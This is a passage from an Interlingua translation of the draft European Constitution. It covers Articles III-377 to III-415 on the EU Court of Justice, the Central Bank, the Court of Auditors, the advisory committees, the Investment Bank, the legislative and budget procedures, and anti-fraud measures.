restrictive contra personas physic aut juridic adoptate per le Consilio in virtute del Capitulo II del Titulo V.\nARTICULO III-377\nIn le exercitio de su attributiones concernente le dispositiones del Sectiones 4 et 5 del Capitulo IV del Titulo III relative al spatio de libertate, de securitate et de Justitia, le Tribunal de Justitia de la Union Europeo non est competente pro verificar le validitate aut le proportionalitate de operationes facite per le policia aut altere servicios repressive in un Stato membro, ni pro decider re le exercitio de responsabilitates que incumbe al Statos membros pro le mantenimento del ordine public et le salveguarda del securitate interior.\nARTICULO III-378\nNonobstante le expiration del termino mentionate in le articulo III-365(5), qualcunque parte pote recurrer, in le occasion de un lite, re un acto de portata general adoptate per un institution, un organo aut un organismo de la Union, al medios mentionate in le articulo III-365(2) pro invocar ante le Tribunal de Justitia de la Union Europeo le inapplicabilitate de iste acto.\nConstitution\/ra 290\nARTICULO III-379\n1. Le recursos facite ante le Tribunal de Justitia de la Union Europeo non ha effecto suspensive. Totevia, le Tribunal de Justitia pote, si illo considera que le circumstantias lo exige, ordinar le suspension del execution del acto impugnate.\n2. In le affaceres que est submittite al Tribunal de Justitia de la Union Europeo, iste pote ordinar le mesuras provisori necessari.\nARTICULO III-380\nLe sententias del Tribunal de Justitia de la Union Europeo ha fortia executive sub le conditiones fixate in le articulo III-401.\nARTICULO III-381\nLe statuto del Tribunal de Justitia de la Union Europeo est fixate per un protocollo. Le lege europeo pote modificar le dispositiones del statuto, con exception de su Titulo I et su articulo 64. Illo est adoptate sia per requesta del Tribunal de Justitia et post consultation del Commission, sia per proposition del Commission et post consultation del Tribunal de Justitia.\nConstitution\/ra 291\nSubsection 6\nLe Banca Central Europeo\nARTICULO III-382\n1. Le consilio del governatores del Banca Central Europeo est composito del membros del directorato del Banca Central Europeo et del governatores del bancas central national del Statos membros que non est objecto de un derogation in le senso del articulo III-197.\n2. Le directorato est composito del Presidente, del Vice-presidente, et de quatro altere membros.\nLe Presidente, le Vice-presidente et le altere membros del directorato est nominate per le Consilio Europeo, decidente per majoritate qualificate, per recommendation del Consilio et post consultation del Parlamento Europeo et del consilio del governatores del Banca Central Europeo, inter le personas cuje autoritate et experientia professional in le dominio monetari aut bancari est recognoscite.\nLor mandato ha un duration de octo annos et non est renovabile. Solmente le citatanos del Statos membros pote esser membros del directorato.\nARTICULO III-383\n1. Le Presidente del Consilio et un membro del Commission pote participar sin derecto de votation in le reuniones del Consilio del Governatores del Banca Central Europeo.\nLe Presidente del Consilio pote submitter un motion al deliberation del Consilio del Governatores del Banca Central Europeo.\nConstitution\/ra 292\n2. Le Presidente del Banca Central Europeo est invitate a participar al reuniones del Consilio quando illo delibera re questiones relative al objectivos et al missiones del Systema europeo de bancas central.\n3. Le Banca Central Europeo dirige un reporto annual re le activitates del Systema europeo de bancas central et re le politica monetari del anno precedente et del anno in curso, al Parlamento Europeo, al Consilio Europeo, al Consilio, et al Commission. Le Presidente del Banca Central Europeo presenta iste reporto al Parlamento Europeo, que pote haber un debatto general basante se super illo, et al Consilio.\nLe Presidente del Banca Central Europeo et le altere membros del directorato pote, per le requesta del Parlamento Europeo aut per lor proprie initiativa, esser consultate per le organos competente del Parlamento Europeo.\nSubsection 7\nLe Tribunal de Contos\nARTICULO III-384\n1. Le Tribunal de Contos examina le contos del totalitate del receptas et del dispensas de la Union. Illo examina equalmente le contos del totalitate del receptas et del dispensas de cata organo aut organismo create per la Union, in le mesura que le acto instituente iste organo aut iste organismo non exclude iste examine.\nConstitution\/ra 293\nLe Tribunal de Contos presenta al Parlamento Europeo et al Consilio un declaration concernente le fidibilitate del contos, assi como le legalitate et le regularitate del operationes subjacente, que est publicate in le Jornal Official de la Union Europeo. Iste declaration pote esser completate per appreciationes specific pro cata dominio major del activitate de la Union.\n2. Le Tribunal de Contos examina le legalitate et le regularitate del receptas et del dispensas et se assecura del bon gestion financiari. Faciente isto, illo signala particularmente qualcunque irregularitate.\nLe controlo del receptas est effectuate super le base del constatationes et del versamentos del receptas al Union. Le controlo del dispensas est effectuate super le base del ingagiamentos et del pagamentos.\nIste controlos pote esser effectuate ante le clausura del contos del exercitio budgetari annual considerate.\n3. Le controlo se face re le documentation contabile e, in caso necessari, in le locales del altere institutiones, assi como in le locales de qualcunque organo aut organismo gerente receptas aut dispensas in le nomine de la Union et in le Statos membros, includite in le locales de qualcunque persona physic aut juridic qui percipe fundos proveniente del budget. Le controlo in le Statos membros se effectua in contacto con le institutiones de controlo national o, si illos non dispone del competentias necessari, con le servicios national competente. Le Tribunal de Contos et le institutiones de controlo national del Statos membros practica un cooperation in un spirito de confidentia et respecto de lor independentia. Iste institutiones aut servicios informa le Tribunal de Contos si illos ha le intention de participar in le controlo.\nConstitution\/ra 294\nQualcunque documento aut qualcunque information necessari pro le execution del mission del Tribunal de Contos est communicate a illo, per su requesta, per le altere institutiones, per le organos aut organismos gerente receptas aut dispensas in le nomine de la Union, per le personas physic aut juridic qui percipe fundos proveniente del budget, et per le institutiones de controlo national o, si illos non dispone del competentias necessari, per le servicios national competente.\nQuanto al activitate de gestion de receptas et de dispensas de la Union exercite per le Banca Europeo de Investimentos, le derecto de accesso del Tribunal de Contos al informationes possedite per le Banca, est regite per un accordo concludite inter le Tribunal de Contos, le Banca et le Commission. In caso de absentia de un accordo, le Tribunal de Contos ha, nonobstante, accesso al informationes necessari pro effectuar le controlo del receptas et del dispensas de la Union gerite per le Banca.\n4. Le Tribunal de Contos stabili un reporto annual post le clausura de cata exercitio annual. Iste reporto est transmittite al altere institutiones et publicate in le Jornal Official de la Union Europeo, accompaniate del reponsas del institutiones mentionate al observationes del Tribunal de Contos.\nIllo pote, in plus, presentar a cata momento su observationes, specialmente in le forma de reportos special, re questiones particular, et emitter avisos per requesta de un del altere institutiones.\nIllo adopta su reportos annual, reportos special aut avisos, per majoritate del membros qui lo compone. Nonobstante, illo pote crear in su structuras cameras pro adoptar certe categorias de reportos aut avisos, sub le conditiones mentionate in su regulamento interior.\nIllo assiste le Parlamento Europeo et le Consilio in le exercitio de lor function de controlo del execution del budget.\nConstitution\/ra 295\nIllo adopta su regulamento interior. Iste regulamento est submittite al approbation del Consilio.\nARTICULO III-385\n1. Le membros del Tribunal de Contos est eligite inter le personas qui pertine aut ha pertinite in lor Stato respective al institutiones de controlo externe, aut possede un qualification particular pro iste function. Illes debe offerer plen garantias de independentia.\n2. Le membros del Tribunal de Contos est nominate pro sex annos. Lor mandato est renovabile. Le Consilio adopta un decision europeo fixante le lista del membros, composito in conformitate con le propositiones facite per cata Stato membro. Illo decide post consultation del Parlamento Europeo.\nLe membros del Tribunal de Contos designa inter illos, pro tres annos, lor Presidente. Su mandato est renovabile.\n3. In le effectuation de lor deberes, le membros del Tribunal de Contos sollicita aut accepta instructiones de necun governamento aut de necun organismo. Illes se abstine de tote acto incompatibile con lor functiones.\n4. Le membros del Tribunal de Contos pote, durante le duration de lor functiones, exercer necun altere activitate professional, remunerate aut non. Illes prende, in le periodo de lor installation, le ingagiamento solemne de respectar, durante le duration de lor functiones et post le cessation de illos, le obligationes proveniente de lor carga, in particular le deberes de integritate et discretion quanto al acceptation, post iste cessation, de certe functiones aut de certe avantages.\nConstitution\/ra 296\n5. Foras del renovamentos regular et del decessos, le functiones de membro del Tribunal de Contos fini individualmente per dimission voluntari aut per destitution declarate per le Tribunal de Justitia, conformemente con le paragrapho 6.\nLe membro dimissionari est reimplaciate pro le duration restante del mandato. Salvo in caso de destitution, le membros del Tribunal de Contos resta in function usque lor reimplaciamento.\n6. Le membros del Tribunal de Contos solo pote esser relevate de lor functiones aut declarate private de lor derecto a pension, aut de altere avantages de lor posto, si le Tribunal de Justitia constata, per requesta del Tribunal de Contos, que illes ha cessate de responder al conditiones requirite aut de complir le obligationes proveniente de lor carga.\nSECTION 2\nORGANOS CONSULTATIVE de la Union\nSubsection 1\nLe Committato del Regiones\nARTICULO III-386\nLe numero del membros del Committato de Regiones non debe exceder tres centos cinquanta. Le Consilio, decidente per unanimitate per proposition del Commission, adopta un decision europeo que fixa le composition del Committato.\nConstitution\/ra 297\nLe membros del Committato et un numero equal de supplentes est nominate pro cinque annos. Lor mandato est renovabile. Nulle membro del Committato pote simultaneemente esser un membro del Parlamento Europeo.\nLe Consilio adopta le decision europeo pro fixar le lista del membros et del supplentes stabilite in accordo con le propositiones facite per cata Stato membro.\nQuando cessa le mandato mentionate in le articulo I-32(2), in virtute del qual illes ha essite proponite, le mandato de membros del Committato fini automaticamente, et illes est reimplaciate pro le duration restante secundo le mesme procedura.\nARTICULO III-387\nLe Committato del Regiones designa, inter su membros, su Presidente et su functionarios pro un duration de duo annos et medie.\nLe Committato est convocate per su Presidente, per le requesta del Parlamento Europeo, del Consilio aut del Commission. Illo pote equalmente reunir se per su proprie initiativa.\nIllo adopta su regulamento interior.\nARTICULO III-388\nLe Committato del Regiones est consultate per le Parlamento Europeo, per le Consilio aut per le Commission in le casos mentionate in la Constitution et in tote le altere casos in le quales un de iste institutiones lo considera opportun, in particular illos que concerne le cooperation trans le frontieras.\nConstitution\/ra 298\nSi illo lo considera necessari, le Parlamento Europeo, le Consilio, aut le Commission, fixa pro le Committato, a fin de presentar su aviso, un termino que non pote esser minus de un mense post que le Presidente ha recipite le notification de isto. Al expiration del termino fixate illo pote negliger le aviso.\nQuando le Committato Economic et Social est consultate, le Committato del Regiones est informate per le Parlamento Europeo, le Consilio, aut le Commission, de iste requesta de aviso. Le Committato del Regiones pote equalmente emitter un aviso per su proprie initiativa.\nLe aviso del Committato assi como un reporto re su deliberationes est transmittite al Parlamento Europeo, al Consilio et al Commission.\nSubsection 2\nCommittato Economic et Social\nARTICULO III-389\nLe numero del membros del Committato Economic et Social non excede tres centos cinquanta. Le Consilio adopta per unanimitate, per proposition del Commission, un decision europeo fixante le composition del Committato.\nConstitution\/ra 299\nARTICULO III-390\nLe membros del Committato Economic et Social est nominate pro cinque annos. Lor mandato est renovabile. Le Consilio adopta le decision europeo que fixa le lista del membros, in conformitate con le propositiones presentate per cata Stato membro.\nLe Consilio decide post consultation del Commission. Illo pote demandar le opinion del organizationes europeo representative del differente sectores economic et social et del societate civil concernite per le activitate de la Union.\nARTICULO III-391\nLe Committato Economic et Social designa inter su membros su presidente et su bureau pro un duration de duo annos et medie. Illo est convocate per su presidente, per requesta del Parlamento Europeo, del Consilio aut del Commission. Illo pote equalmente reunir se per su proprie initiativa. Illo adopta su regulamento interne.\nConstitution\/ra 300\nARTICULO III-392\nLe Committato Economic et Social est consultate per le Parlamento Europeo, per le Consilio aut per le Commission in le casos mentionate in le Constitution. Illo pote esser consultate per iste institutiones in tote le casos in le quales illos lo judica opportun. Illo pote emitter un aviso per su proprie initiativa. Si illo lo considera necessari, le Parlamento Europeo, le Consilio aut le Commission fixa pro le Committato, a fin de presentar su aviso, un termino que non pote esser minus que un mense ab le data del notification que pro isto est dirigite al presidente. Si le termino del aviso expira, le aviso debe esser annullate.\nLe aviso del Committato et un reporto de su deliberationes est transmittite al Parlamento Europeo, al Consilio et al Commission.\nSECTION 3\nLE BANCA EUROPEO DE INVESTIMENTOS\nARTICULO III-393\nLe Banca Europeo de Investimentos ha personalitate juridic.\nSu membros est le Statos membros.\nLe statuto del Banca Europeo de Investimentos figura in un Protocollo.\nConstitution\/ra 301\nUn lege europeo del Consilio pote modificar le statuto del Banca Europeo de Investimentos. Le Consilio decide per unanimitate, sia per requesta del Banca Europeo de Investimentos et post consultation del Parlamento Europeo et del Commission, sia per proposition del Commission et post consultation del Parlamento Europeo et del Banca Europeo de Investimentos.\nARTICULO III-394\nLe Banca Europeo de Investimentos ha pro mission de contribuer al disveloppamento equilibrate et stabile del mercato interior in le interesse de la Union, recurrente al mercatos de capitales et a su proprie ressources. Pro iste fin, le Banca facilita, in particular per medio de concession de prestos et de garantias et sin persequer fines lucrative, le financiamento, in tote le sectores del economia, del projectos sequente:\na) projectos pro le valorisation de regiones minus disveloppate;\nb) projectos destinate al modernisation aut al reconversion de interprisas aut al creation de nove activitates necessari pro le stabilimento aut le functionamento del mercato interior, que, per le amplitude aut per lor natura, non pote esser integremente financiate per le diverse medios de financiamento existente in cata un del Statos membros;\nc) projectos de interesse commun pro plure Statos membros, que, per lor amplitude aut per lor natura, non pote esser integremente financiate per le diverse medios de financiamento existente in cata un del Statos membros.\nIn le complimento de su mission, le Banca Europeo de Investimentos facilita le financiamento de programmas de investimento in combination con le interventiones del fundos pro un scopo structural et del altere instrumentos financiari de la Union.\nConstitution\/ra 302\nSECTION 4\nDISPOSITIONES COMMUN AL INSTITUTIONES, ORGANOS et ORGANISMOS de la Union\nARTICULO III-395\n1. Quando, in virtute del Constitution, le Consilio decide per proposition del Commission, illo solamente pote modificar iste proposition per unanimitate, salvo in le casos mentionate in le articulos I-55 et I-56, III-396(10 et 13), III-404 et III-405(2).\n2. Tanto longe que le Consilio non ha decidite, le Commission pote modificar su proposition in tote le phases del procedura que conduce al adoption de un acto de la Union.\nARTICULO III-396\n1. Quando, per virtute del Constitution, le leges aut leges-quadro europeo est adoptate secundo le procedura legislative ordinari, le dispositiones sequente est applicabile.\n2. Le Commission presenta un proposition al Parlamento Europeo et al Consilio.\nPrime lectura\n3. Le Parlamento Europeo prende decision de su position in prime lectura et lo transmitte al Consilio.\n4. Si le Consilio approba le position del Parlamento Europeo, le acto concernite est adoptate in le formulation correspondente al position del Parlamento Europeo.\nConstitution\/ra 303\n5. Si le Consilio non approba le position del Parlamento Europeo, illo adopta su position in prime lectura et lo transmitte al Parlamento Europeo.\n6. Le Commission informa plenmente le Parlamento Europeo del rationes que lo ha ducite a adoptar su position in prime lectura. Le Commission informa plenmente le Parlamento Europeo de su position.\nSecunde lectura\n7. Si in un termino de tres menses post iste transmission le Parlamento Europeo:\na) approba le position del Commission in prime lectura aut non prende decision, le acto in question est considerate como adoptate in le formulation correspondente al position del Consilio.\nb) rejecta in prime lectura per majoritate del membros que lo compone, le position del Consilio, le acto proponite est considerate como non adoptate.\nc) propone, per majoritate del membros que lo compone, emendamentos al position del Consilio in prime lectura, le texto assi modificate est transmittite al Consilio et al Commission que exprime un aviso re iste emendamentos.\n8. Si, in un termino de tres menses post reception del emendamentos del Parlamento Europeo le Consilio, decidente per majoritate qualificate:\na) approba tote le emendamentos, le acto concernite est considerate como adoptate.\nb) non approba tote le emendamentos, le presidente del Consilio, de accordo con le Presidente del Parlamento Europeo, convoca le Committato de Conciliation in un termino de sex septimanas.\nConstitution\/ra 304\n9. Le Consilio decide per unanimitate re le emendamentos que ha essite le objecto de un aviso negative del Commission.\nConciliation\n10. Le Committato de Conciliation, que est composito del membros del Consilio aut de lor representantes et de un numero equal de membros que representa le Parlamento Europeo, ha pro mission de arrivar a un accordo re un projecto commun per le majoritate del membros del Consilio aut de lor representantes et per le majoritate del membros representante le Parlamento Europeo in un termino de sex septimanas a partir de su convocation, super le base del positiones del Parlamento Europeo et del Consilio in secunde lectura.\n11. Le Commission participa in le labores del Committato de Conciliation et prende tote le initiativas necessari in vista de promover un approximation del positiones del Parlamento Europeo et del Consilio.\n12. Si, in un termino de sex septimanas post su convocation, le Committato de Conciliation non approba un projecto commun, le acto proponite est considerate como non-adoptate.\nTertie lectura\n13. Si, in iste termino, le Committato de Conciliation approba un projecto commun, le Parlamento Europeo et le Consilio dispone cata uno de un termino de sex septimanas a partir de iste approbation pro adoptar le acto concernite conformemente con iste projecto, le Parlamento Europeo decidente per le majoritate del votos exprimite et le Consilio per majoritate qualificate. Si non, le acto proponite est considerate como non-adoptate.\n14. Le terminos de tres menses et de sex septimanas mentionate in le presente articulo est prorogate respectivemente de un mense et de duo septimanas al maximo per initiativa del Parlamento Europeo aut del Consilio.\nConstitution\/ra 305\nDispositiones particular\n15. Quando in le casos mentionate in le Constitution, un lege aut lege-quadro europeo est submittite al procedura legislative ordinari per initiativa de un gruppo de Statos membros, per recommendation del Banca Central Europeo aut per requesta del Tribunal de Justitia aut del Banca Europeo de Investimentos, le paragrapho 2, le paragrapho 6, secunde phrase, et le paragrapho 9 non est applicabile.\nIn iste casos, le Parlamento Europeo et le Consilio transmitte al Commission le projecto de acto assi como lor positiones in prime et secunde lecturas. Le Parlamento Europeo aut le Consilio pote peter le aviso del Commission in le curso de tote le procedura et le Commission pote equalmente exprimer iste aviso per su proprie initiativa. Illo pote equalmente, si illo lo considera necessari, participar in le Committato de Conciliation conformemente con le paragrapho 11.\nARTICULO III-397\nLe Parlamento Europeo, le Consilio et le Commission procede a consultationes reciproc et organiza de accordo commun le modalitates de lor cooperation. A tal scopo, con respecto al Constitution, illos pote concluder accordos interinstitutional que pote haber un character obligatori.\nARTICULO III-398\n1. In le complimento de lor functiones, le institutiones, organos et organismos de la Union se appoia super un administration europeo aperte, efficace et independente.\nConstitution\/ra 306\n2. Con respecto al Statuto et al regime adoptate super le base del articulo III-427, le lege europeo fixa le dispositiones pro isto.\nARTICULO III-399\n1. 1. Le institutiones, organos et organismos de la Union garanti le transparentia de lor labores et defini in lor regulamentos interne, in application del articulo I-50, le dispositiones relative al accesso del publico al documentos. Le Tribunal de Justitia de la Union Europeo, le Banca Central Europeo et le Banca Europeo de Investimentos solo est submittite al articulo I-50(3), et al presente articulo quando illos exerce functiones administrative.\n2. Le Parlamento Europeo et le Consilio provide al publico le documentos relative al procedura legislative in le conditiones mentionate in le articulo I-50(4) del lege europeo.\nARTICULO III-400\n1. Le Consilio adopta regulamentos et decisiones europeo que fixa:\na) salarios, emolumentos et pensiones del Presidente del Consilio Europeo, del Presidente del Commission, del Ministro de Affaceres Exterior de la Union, del membros del Commission, del presidentes, del membros et del secretarios del Tribunal de Justitia de la Union Europeo et del Secretario General del Consilio;\nConstitution\/ra 307\nb) le conditiones de empleo, in particular le salarios, emolumentos et pensiones del Presidente et del membros del Tribunal de Contos.\nc) tote le emolumentos de character remunerative del personas mentionate in le litteras a) et b).\n2. Le Consilio adopta regulamentos et decisiones europeo que fixa le emolumentos del membros del Committato Economic et Social.\nARTICULO III-401\nLe actos del Consilio, del Commission aut del Banca Central Europeo, que impone un obligation pecuniari a personas distincte del Statos membros, est titulos executive.\nLe execution fortiate est regite per le regulas del procedura civil in vigor in le Stato membro in cuje territorio illo est effectuate. Le ordine de execution est apponite, sin altere controlo que le controlo del verification del authenticitate del titulo, per le autoritate national que le governamento de cata un del Statos membros designa a tal fin, informante le Commission et le Tribunal de Justitia de la Union Europeo.\nPost le complimento de iste formalitates, per petition del interessato, iste pote continuar le execution fortiate conformemente con le legislation national, recurrente directemente al autoritate competente.\nLe execution fortiate solo pote esser suspendite in virtute de un decision del Tribunal de Justitia de la Union Europeo. Nonobstante, le controlo del regularitate del dispositiones de execution pertine al competentia del organos jurisdictional national.\nConstitution\/ra 308\nCAPITULO II\nDISPOSITIONES FINANCIARI\nSECTION 1\nQUADRO FINANCIARI PLURIANNUAL\nARTICULO III-402\n1. Le quadro financiari pluriannual est stabilite pro un periodo de al minus cinque annos conformemente con le articulo I-55.\n2. Le quadro financiari fixa le amontas del limites annual del creditos pro ingagiamentos per categoria de dispensas et del limite annual del creditos pro pagamentos. Le categorias de dispensas, de un numero limitate, corresponde al grande sectores de activitate de la Union.\n3. Le quadro financiari stabili qualcunque altere disposition utile pro le bon disveloppamento del procedura budgetari annual.\n4. Quando le lege europeo del Consilio fixante un nove quadro financiari non ha essite adoptate al termino del quadro financiari precedente, le limites et altere dispositiones correspondente a iste ultime anno est prorogate usque a su adoption.\n5. Durante tote le duration del procedura conducente al adoption del quadro financiari, le Parlamento Europeo, le Consilio et le Commission adopta qualcunque mesura necessari pro facilitar le resultato final del procedura.\nConstitution\/ra 309\nSECTION 2\nBUDGET ANNUAL de la Union\nARTICULO III-403\nLe exercitio budgetari comencia le 1 de januario et fini le 31 de decembre.\nARTICULO III-404\nLe lege europeo stabili le budget annual de la Union conformemente con le dispositiones sequente.\n1. Cata institution elabora, ante le 1 de julio, un stato de previsiones de su dispensas pro le sequente exercitio budgetari annual. Le Commission reuni iste statos in un projecto de budget que pote continer previsiones divergente. Iste projecto comprende un prevision del receptas et un prevision del dispensas.\n2. Le Commission presenta un proposition que contine le projecto de budget al Parlamento Europeo et al Consilio non plus tarde que le 1 de septembre del anno que precede iste del execution del budget. Le Commission pote modificar le projecto de budget in le curso del procedura usque al convocation del Committato de Conciliation mentionate in le paragrapho 5.\n3. Le Consilio adopta su position re le projecto de budget et lo transmitte al Parlamento Europeo non plus tarde que le 1 de octobre del anno que precede le anno del execution del budget. Illo informa plenmente le Parlamento Europeo del rationes que lo ha conducite a adoptar su position.\nConstitution\/ra 310\n4. Si, in un termino de quaranta duo dies post iste transmission, le Parlamento Europeo:\na) approba le position del Consilio, le lege europeo stabiliente le budget est adoptate;\nb) non ha decidite, le lege europeo stabiliente le budget est considerate como adoptate;\nc) adopta, per le majoritate del membros qui lo compone, emendamentos, le projecto assi emendate est transmittite al Consilio et al Commission. Le Presidente del Parlamento Europeo, de accordo con le Presidente del Consilio, convoca sin demora le Committato de Conciliation. Totevia, le Committato non se reuni si, in un termino de dece dies post iste transmission, le Consilio informa le Parlamento Europeo que illo approba tote su emendamentos.\n5. Le Committato de Conciliation, que est composito del membros del Consilio aut de lor representantes et de un numero de membros representante le Parlamento Europeo, ha pro mission de arrivar, super le base del positiones del Parlamento Europeo, a un accordo re un projecto commun per majoritate qualificate del membros del Consilio aut de lor representantes et per le majoritate del membros representante le Parlamento Europeo, in un termino de vinti un dies a partir de su convocation. Le Commission participa in le labores del Committato de Conciliation et prende tote le initiativas necessari in vista de promover un approximation del positiones del Parlamento et del Consilio.\n6. Si, in le termino de vinti un dies mentionate in le paragrapho 5, le Committato de Conciliation arriva a un accordo re un projecto commun, le Parlamento Europeo et le Consilio dispone cata un de un termino de dece-quatro dies a partir del data de iste accordo pro approbar le projecto commun.\n7. Si, in le termino de dece-quatro dies mentionate in le paragrapho 6:\nConstitution\/ra 311\na) le Parlamento Europeo et le Consilio approba conjunctemente le projecto commun aut non arriva a prender un decision, aut si un de iste institutiones approba le projecto commun, ma le altere non arriva a prender un decision, le lege europeo stabiliente le budget est considerate como definitivemente adoptate in conformitate con le projecto commun, aut\nb) le Parlamento Europeo, decidente per le majoritate del membros que lo compone, et le Consilio rejecta conjunctemente le projecto commun, aut si un de iste institutiones rejecta le projecto commun, ma le altere non arriva a prender un decision, un nove projecto de budget est presentate per le Commission, aut\nc) le Parlamento Europeo, decidente per le majoritate del membros que lo compone, rejecta le projecto commun, ma le Consilio lo approba, un nove projecto de budget est presentate per le Commission, aut\nd) le Parlamento Europeo approba le projecto commun, ma le Consilio lo rejecta, le Parlamento Europeo pote decider, in un termino de dece-quatro dies a partir del data del rejecto per le Consilio, decidente per le majoritate del membros que lo compone et del tres quintos de votos exprimite, de confirmar le totalitate aut un parte del emendamentos mentionate in le littera c) del paragrapho 4. Si un del emendamentos del Parlamento Europeo non est confirmate, le position adoptate in le Committato de Conciliation concernente le linea budgetari que est le objecto de iste emendamento est mantenite. Le lege europeo stabiliente le budget est considerate como definitivemente adoptate super iste base.\n8. Si, in le termino de vinti un dies mentionate in le paragrapho 5, le Committato de Conciliation non arriva a un accordo re un projecto commun, un nove projecto de budget est presentate per le Commission.\nConstitution\/ra 312\n9. Quando le procedura mentionate in le presente articulo est concludite, le Presidente del Parlamento Europeo constata que le lege europeo stabiliente le budget est definitivemente adoptate.\n10. Cata institution exerce le poteres que lo est attribuite per le presente articulo in le respecto de la Constitution et del actos adoptate in virtute de iste, in particular in materia de ressources proprie de la Union et de equilibrio del receptas et dispensas.\nARTICULO III-405\n1. Si, al initio de un exercitio budgetari annual, le lege europeo stabiliente le budget non ha essite definitivemente adoptate, le dispensas pote esser effectuate mensualmente, in conformitate con le lege europeo secundo le capitulos mentionate in le articulo III-412, intra le limite del dece-secunde parte del creditos inscripte in le capitulo concernite del budget del anno financiari precedente, sin poter exceder le dece-secunde parte del creditos mentionate in le mesme capitulo del projecto de budget.\n2. Le Consilio, per proposition del Commission et in le respecto del altere conditiones mentionate in le paragrapho 1, pote adoptar un decision europeo autorisante dispensas que excede le dece-secunde parte, conformemente con le lege europeo mentionate in le articulo III-412. Illo lo transmitte immediatemente al Parlamento Europeo. Iste decision europeo previde le mesuras necessari in materia de ressources pro le application del presente articulo in le respecto del leges europeo mentionate in le articulo I-54(3 et 4). Iste decision entra in vigor trenta dies post su adoption si, in iste termino, le Parlamento Europeo, decidente per le majoritate del membros que lo compone, non decide de reducer iste dispensas.\nConstitution\/ra 313\nARTICULO III-406\nIn le conditiones determinate per le lege europeo mentionate in le articulo III-412, le creditos que non concerne dispensas de personal et que non est utilisate al fin del exercitio budgetari, pote esser transferite, ma solo al anno sequente.\nLe creditos est specificate sub differente capitulos que gruppa le dispensas secundo lor natura aut lor destination, et subdividite, conformemente con le lege europeo mentionate in le articulo III-412.\nLe dispensas:\n- del Parlamento Europeo,\n- del Consilio Europeo et del Consilio,\n- del Commission, et\n- del Tribunal de Justitia de la Union Europeo\nfigura in sectiones differente del budget, sin prejudicio de un regime special pro certe dispensas commun.\nConstitution\/ra 314\nSECTION 3\nEXECUTION DEL BUDGET et APPROBATION DEL GESTION\nARTICULO III-407\nLe Commission executa le budget in cooperation con le Statos membros, in conformitate con le lege europeo mentionate in le articulo III-412, sub su proprie responsabilitate et intra le limites del creditos autorisate, conformemente con le principio del bon gestion financiari. Le Statos membros coopera con le Commission pro garantir que le creditos est utilisate conformemente con iste mesme principio.\nLe lege europeo mentionate in le articulo III-412 stabili le obligationes de controlo et de expertise contabile del Statos membros in le execution del budget assi como le responsabilitates que resulta de illo.\nIste lege stabili le responsabilitates et le modalitates particular secundo le quales cata institution participa in le execution de su proprie dispensas. Al interior del budget, le Commission pote, intra le limites et conditiones mentionate in le articulo III-412 del lege europeo, transferer creditos inter capitulos aut inter subdivisiones.\nARTICULO III-408\nLe Commission presenta cata anno al Parlamento Europeo et al Consilio le contos del anno financiari passate relative al operationes del budget. In plus, illo los communica un balancio financiari del activo et passivo de la Union.\nConstitution\/ra 315\nLe Commission presenta equalmente al Parlamento Europeo et al Consilio un reporto de evalutation del financias de la Union fundate super le resultatos obtenite in particular in relation con le indicationes date per le Parlamento Europeo et le Consilio in virtute del articulo III-409.\nARTICULO III-409\n1. Le Parlamento Europeo, a recommendation del Consilio, approba le gestion del Commission in le execution del budget. Pro iste effecto, illo examina, post le Consilio, le contos, le balancio financiari et le reporto de evalutation mentionate in le articulo III-408, le reporto annual del Tribunal de Contos, juncto con le responsas del institutiones controlate al observationes del Tribunal de Contos, le declaration de fidibilitate mentionate in le secunde parte del paragrapho 1 del articulo III-384, assi como le reportos special pertinente del Tribunal de Contos.\n2. Ante de approbar le gestion del Commission, aut pro qualcunque altere fin que se trova in le quadro del exercitio del attributiones de iste in materia de execution del budget, le Parlamento Europeo pote peter audir le Commission relative al execution del dispensas aut le functionamento del systemas de controlo financiari. Le Commission submitte al Parlamento Europeo, per le requesta de iste ultime, tote le information necessari.\n3. Le Commission face tote lo que est necessari pro sequer le observationes que accompania le decisiones de approbation del gestion et le altere observationes del Parlamento Europeo concernente le execution del dispensas, assi como le commentarios que accompania le recommendationes de approbation del gestion adoptate per le Consilio.\n4. Per requesta del Parlamento Europeo aut del Consilio, le Commission informa re le mesuras adoptate in le luce de iste observationes et commentarios, et in particular re le instructiones date al servicios cargate del execution del budget. Iste reportos est equalmente transmittite al Tribunal de Contos.\nConstitution\/ra 316\nSECTION 4\nDISPOSITIONES COMMUN\nARTICULO III-410\nLe quadro financiari pluriannual et le budget annual est stabilite in euros.\nARTICULO III-411\nLe Commission pote, sub reserva de informar re isto le autoritates competente del Statos membros concernite, transferer in le moneta de un del Statos membros, le activos que illo possede in le moneta de un altere Stato membro, in le mesura necessari pro le utilisation de iste activos al fines mentionate in le Constitution. Le Commission evita, in le mesura de lo possibile, effectuar tal transferentias, si illo possede activos disponibile aut realizabile in le monetas que illo besonia.\nLe Commission communica con cata un del Statos membros concernite per le intermediation del autoritate que illo designa. In le execution del operationes financiari le Commission recurre al banca de emission del Stato membro concernite aut a un altere institution financiari autorisate per iste.\nARTICULO III-412\n1. Le lege europeo stabili:\na) le regulas financiari que fixa in particular le modalitates relative al stabilimento et execution del budget, et al rendition et verification del contos;\nConstitution\/ra 317\nb) le regulas que organiza le controlo del responsabilitate del agentes financiari, in particular del ordinatores et del contabiles.\nLe lege europeo est adoptate post consultation del Tribunal del contos.\n2. Le Consilio adopta, per proposition del Commission, un regulamento europeo que fixa le modalitates et le procedura secundo le quales le receptas budgetari mentionate in le regime del ressources proprie de la Union est mittite al disposition del Commission, assi como le mesuras a applicar pro facer fronte al eventual necessitates del Tribunal de Contos. Le Consilio decide post consultation del Parlamento Europeo et del Tribunal del Contos.\n3. Le Consilio decide per unanimitate usque al 31 de decembre 2006 in tote le casos mentionate in le presente articulo.\nARTICULO III-413\nLe Parlamento Europeo, le Consilio et le Commission velia le disponibilitate del medios financiari que permitte al Union complir su obligationes juridic verso tertie partes.\nARTICULO III-414\nPer initiativa del Commission, incontros regular del Presidentes del Parlamento, del Consilio et del Commission est convocate, in le quadro del proceduras budgetari mentionate in le presente capitulo. Le Presidentes adopta tote le mesuras necessari pro promover le concertation et le approximation del positiones del institutiones que illes preside, a fin de facilitar le execution del presente capitulo.\nConstitution\/ra 318\nSECTION 5\nLUCTA CONTRA LE FRAUDE\nARTICULO III-415\n1. la Union et le Statos membros combatte le fraude et tote altere activitate illegal que lede le interesses financiari de la Union per medio de mesuras prendite conformemente con le presente articulo. Iste mesuras est dissuasive et offere un protection efficace in le Statos membros et in le institutiones, organos et organismos de la Union.\n2. Pro combatter le fraude que lede le interesses financiari de Union, le Statos membros prende le mesme mesuras que los que illo prende pro combatter le fraude que lede lor proprie interesses financiari.\n3. Sin prejudicio de altere dispositiones del Constitution, le Statos membros coordina 